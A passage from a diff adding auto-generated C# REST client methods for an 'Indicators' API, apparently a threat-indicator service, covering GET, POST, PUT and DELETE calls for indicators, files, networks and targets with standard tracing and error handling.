_shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("indicator", indicator); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiIndicatorsPut", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Indicators").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("PUT"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(indicator != null) + { + _requestContent = SafeJsonConvert.SerializeObject(indicator, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiIndicatorsPostWithHttpMessagesAsync(Indicator indicator = default(Indicator), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("indicator", indicator); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiIndicatorsPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Indicators").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(indicator != null) + { + _requestContent = SafeJsonConvert.SerializeObject(indicator, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 201) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 201) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task>> ApiIndicatorsFilesGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiIndicatorsFilesGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Indicators/files").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse>(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject>(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task>> ApiIndicatorsNetworksGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiIndicatorsNetworksGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Indicators/networks").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse>(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject>(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task>> ApiIndicatorsTargetsGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiIndicatorsTargetsGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Indicators/targets").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse>(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject>(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiIndicatorsByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiIndicatorsByIdGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Indicators/{id}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task ApiIndicatorsByIdDeleteWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiIndicatorsByIdDelete", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Indicators/{id}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("DELETE"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 204) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiIndicatorsFilesByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiIndicatorsFilesByIdGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Indicators/files/{id}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiIndicatorsNetworksByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiIndicatorsNetworksByIdGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Indicators/networks/{id}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + 